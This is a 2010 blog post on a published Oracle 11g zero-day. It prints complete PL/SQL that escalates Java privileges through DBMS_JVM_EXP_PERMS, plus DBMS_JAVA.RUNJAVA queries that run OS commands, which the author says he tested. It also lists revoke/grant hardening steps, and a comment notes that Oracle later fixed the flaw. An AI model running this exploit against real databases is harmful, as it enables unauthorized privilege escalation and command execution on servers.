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Oracle 11g 0day exploit published
I just read on Sumit Siddarth’s (Sid) blog that the video recording from David Litchfield’s BH presentation is online.
David showed how to escalate Java privileges using DBMS_JVM_EXP_PERMS.
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,’ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
After the Java privilege escalation it is possible to run OS commands using a simple SELECT statement:
select dbms_java.runjava(’oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst’)from dual;
For security reasons you should:
revoke execute on dbms_java from PUBLIC;
revoke execute on dbms_java_test from PUBLIC;
revoke execute on “oracle/aurora/util/Wrapper” from PUBLIC;
grant execute on sys.dbms_jvm_exp_perms to IMP_FULL_DATABASE;
grant execute on sys.dbms_jvm_exp_perms to EXP_FULL_DATABASE;
revoke execute on sys.dbms_jvm_exp_perms from PUBLIC;
I just tested the code on my Linux 11.2.0.1 database and it worked without any problem.
SELECT * from dual where chr(42)=DBMS_JAVA.RUNJAVA(’oracle/aurora/util/Wrapper /bin/touch /tmp/iwashere3′);
5 Feb 2010 bei 00:25
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6 Apr 2010 bei 17:52
[…] new database version. According to Repscan this new 11.2.0.1 is no longer vulnerable against the DBMS_JVM_EXP_PERMS exploit and this is correct. Oracle has already fixed the problem. I expect a solution in the upcoming […]